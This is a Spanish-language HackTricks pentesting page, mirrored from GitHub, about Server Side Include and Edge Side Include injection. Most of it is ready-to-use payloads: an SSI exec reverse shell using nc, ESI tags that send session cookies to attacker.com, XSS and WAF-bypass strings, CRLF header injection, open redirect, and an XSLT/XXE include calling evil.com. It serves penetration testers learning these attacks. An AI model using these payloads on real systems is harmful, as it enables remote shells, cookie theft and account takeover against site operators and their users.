mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
239 lines
14 KiB
Markdown
239 lines
14 KiB
Markdown
## Inyección de Inclusión de Servidor/Inclusión de Borde de Servidor
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Información Básica de Inclusión de Servidor
|
|
|
|
Los SSI (Server Side Includes) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras se sirven las páginas. Permiten **agregar contenido generado dinámicamente** a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.\
|
|
Por ejemplo, se puede colocar una directiva en una página HTML existente, como:
|
|
|
|
`<!--#echo var="DATE_LOCAL" -->`
|
|
|
|
Y, cuando se sirve la página, este fragmento se evaluará y se reemplazará por su valor:
|
|
|
|
`Martes, 15-Ene-2013 19:28:54 EST`
|
|
|
|
La decisión de cuándo usar SSI y cuándo tener su página generada completamente por algún programa es generalmente una cuestión de cuánto de la página es estática y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeñas piezas de información, como la hora actual, que se muestra arriba. Pero si la mayoría de su página se está generando en el momento en que se sirve, debe buscar otra solución. (Definición tomada de [aquí](https://httpd.apache.org/docs/current/howto/ssi.html)).
|
|
|
|
Se puede inferir la presencia de SSI si la aplicación web utiliza archivos con las extensiones \*\* `.shtml`, `.shtm` o `.stm`\*\*, pero no es el único caso.
|
|
|
|
Una expresión SSI típica tiene el siguiente formato:
|
|
```
|
|
<!--#directive param="value" -->
|
|
```
|
|
### Verificación
|
|
```javascript
|
|
// Document name
|
|
<!--#echo var="DOCUMENT_NAME" -->
|
|
// Date
|
|
<!--#echo var="DATE_LOCAL" -->
|
|
|
|
// File inclusion
|
|
<!--#include virtual="/index.html" -->
|
|
// Including files (same directory)
|
|
<!--#include file="file_to_include.html" -->
|
|
// CGI Program results
|
|
<!--#include virtual="/cgi-bin/counter.pl" -->
|
|
// Including virtual files (same directory)
|
|
<!--#include virtual="file_to_include.html" -->
|
|
// Modification date of a file
|
|
<!--#flastmod file="index.html" -->
|
|
|
|
// Command exec
|
|
<!--#exec cmd="dir" -->
|
|
// Command exec
|
|
<!--#exec cmd="ls" -->
|
|
// Reverse shell
|
|
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
|
|
|
|
// Print all variables
|
|
<!--#printenv -->
|
|
// Setting variables
|
|
<!--#set var="name" value="Rich" -->
|
|
|
|
```
|
|
## Inclusión en el Lado del Borde
|
|
|
|
Existe un problema al **almacenar en caché información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que debe generarse** antes de enviar la versión en caché.\
|
|
Si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
|
|
|
|
### Detección de ESI
|
|
|
|
El siguiente **encabezado** en una respuesta del servidor significa que el servidor está utilizando ESI:
|
|
```
|
|
Surrogate-Control: content="ESI/1.0"
|
|
```
|
|
Si no puedes encontrar esta cabecera, el servidor **podría estar usando ESI de todos modos**.\
|
|
También se puede utilizar un enfoque de explotación ciega ya que una solicitud debería llegar al servidor del atacante:
|
|
```javascript
|
|
// Basic detection
|
|
hell<!--esi-->o
|
|
// If previous is reflected as "hello", it's vulnerable
|
|
|
|
// Blind detection
|
|
<esi:include src=http://attacker.com>
|
|
|
|
// XSS Exploitation Example
|
|
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
|
|
|
|
// Cookie Stealer (bypass httpOnly flag)
|
|
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
|
|
|
|
// Introduce private local files (Not LFI per se)
|
|
<esi:include src="supersecret.txt">
|
|
|
|
// Valid for Akamai, sends debug information in the response
|
|
<esi:debug/>
|
|
```
|
|
### Explotación de ESI
|
|
|
|
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) ha creado una tabla para ayudarnos a entender los posibles ataques que podemos intentar contra diferentes software capaces de ESI, dependiendo de la funcionalidad admitida. Primero, proporcionemos algunas explicaciones sobre los nombres de columna de la tabla a continuación:
|
|
|
|
* **Includes**: Admite la directiva `<esi:includes>`
|
|
* **Vars**: Admite la directiva `<esi:vars>`. Útil para eludir los filtros XSS
|
|
* **Cookie**: Las cookies del documento son accesibles para el motor ESI
|
|
* **Upstream Headers Required**: Las aplicaciones de intermediario no procesarán las declaraciones ESI a menos que la aplicación de origen proporcione las cabeceras
|
|
* **Host Allowlist**: En este caso, las inclusiones ESI solo son posibles desde los servidores de host permitidos, lo que hace que, por ejemplo, SSRF solo sea posible contra esos hosts
|
|
|
|
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
|
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
|
| Squid3 | Sí | Sí | Sí | Sí | No |
|
|
| Varnish Cache | Sí | No | No | Sí | Sí |
|
|
| Fastly | Sí | No | No | No | Sí |
|
|
| Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No |
|
|
| NodeJS esi | Sí | Sí | Sí | No | No |
|
|
| NodeJS nodesi | Sí | No | No | No | Opcional |
|
|
|
|
#### XSS
|
|
|
|
La siguiente directiva ESI cargará un archivo arbitrario dentro de la respuesta del servidor.
|
|
```markup
|
|
<esi:include src=http://attacker.com/xss.html>
|
|
```
|
|
El archivo _http://atacante.com/xss.html_ puede contener una carga útil XSS como `<script>alert(1)</script>`
|
|
|
|
#### Saltar la protección XSS del cliente
|
|
```markup
|
|
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
|
|
|
Use <!--esi--> to bypass WAFs:
|
|
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
|
|
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
|
|
```
|
|
#### Robo de Cookie
|
|
|
|
* Robo remoto de cookie
|
|
```markup
|
|
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
|
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
|
```
|
|
* Robar la cookie HTTP\_ONLY con XSS reflejándola en la respuesta:
|
|
```bash
|
|
# This will reflect the cookies in the response
|
|
<!--esi $(HTTP_COOKIE) -->
|
|
# Reflect XSS
|
|
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
|
|
```
|
|
<figure><img src="../.gitbook/assets/image (4) (7).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
* Toma completa de la cuenta reflejando cookies
|
|
|
|
<figure><img src="../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
#### Archivo local privado
|
|
|
|
No confundir con una "Inclusión de archivo local":
|
|
```markup
|
|
<esi:include src="secret.txt">
|
|
```
|
|
#### CRLF
|
|
|
|
CRLF significa Carriage Return Line Feed. Es un término que se refiere a la secuencia de caracteres que se utilizan para representar el final de una línea de texto en un archivo. En algunos casos, los atacantes pueden aprovechar las vulnerabilidades de CRLF para inyectar código malicioso en una aplicación web.
|
|
```markup
|
|
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
|
```
|
|
#### Redirección Abierta
|
|
|
|
Lo siguiente agregará una cabecera `Location` a la respuesta.
|
|
```bash
|
|
<!--esi $add_header('Location','http://attacker.com') -->
|
|
```
|
|
#### Agregar Encabezado
|
|
|
|
* Agregar encabezado en solicitud forzada
|
|
```html
|
|
<esi:include src="http://example.com/asdasd">
|
|
<esi:request_header name="User-Agent" value="12345"/>
|
|
</esi:include>
|
|
```
|
|
* Agregar encabezado en la respuesta (útil para evitar "Content-Type: text/json" en una respuesta con XSS)
|
|
```bash
|
|
<!--esi/$add_header('Content-Type','text/html')/-->
|
|
|
|
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
|
|
```
|
|
<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
#### CRLF en Agregar cabecera (**CVE-2019-2438)**
|
|
```markup
|
|
<esi:include src="http://example.com/asdasd">
|
|
<esi:request_header name="User-Agent" value="12345
|
|
Host: anotherhost.com"/>
|
|
</esi:include>
|
|
```
|
|
#### Depuración de Akamai
|
|
|
|
Esto enviará información de depuración incluida en la respuesta:
|
|
```markup
|
|
<esi:debug/>
|
|
```
|
|
### ESI + XSLT = XXE
|
|
|
|
También es posible agregar ESI basado en **Transformaciones de Lenguaje de Hojas de Estilo Extensible (XSLT)** mediante la especificación del valor `xslt` al parámetro _dca_. La siguiente inclusión hará que el servidor HTTP solicite el archivo XML y XSLT. El archivo XSLT se utiliza para filtrar el archivo XML. Este archivo XML se puede utilizar para realizar ataques de _Entidades Externas XML (XXE)_. Esto permite a los atacantes realizar ataques SSRF, lo cual no es muy útil ya que esto debe realizarse a través de inclusiones ESI, que es un vector SSRF en sí mismo. Las DTD externas no se analizan ya que la biblioteca subyacente (Xalan) no tiene soporte para ello. Esto significa que no podemos extraer archivos locales.
|
|
```markup
|
|
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
|
```
|
|
El archivo XSLT:
|
|
```markup
|
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
|
|
<foo>&xxe;</foo>
|
|
```
|
|
Revisa la página XSLT:
|
|
|
|
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
|
|
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Referencias
|
|
|
|
* [https://www.gosecure.net/blog/2018/04/03/mas-alla-del-xss-inyeccion-de-inclusion-en-el-lado-del-servidor/](https://www.gosecure.net/blog/2018/04/03/mas-alla-del-xss-inyeccion-de-inclusion-en-el-lado-del-servidor/)
|
|
* [https://www.gosecure.net/blog/2019/05/02/inyeccion-de-esi-parte-2-abuso-de-implementaciones-especificas/](https://www.gosecure.net/blog/2019/05/02/inyeccion-de-esi-parte-2-abuso-de-implementaciones-especificas/)
|
|
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
|
|
* [https://infosecwriteups.com/explorando-el-mundo-de-la-inyecci%C3%B3n-de-esi-b86234e66f91](https://infosecwriteups.com/explorando-el-mundo-de-la-inyecci%C3%B3n-de-esi-b86234e66f91)
|
|
|
|
## Lista de detección de fuerza bruta
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|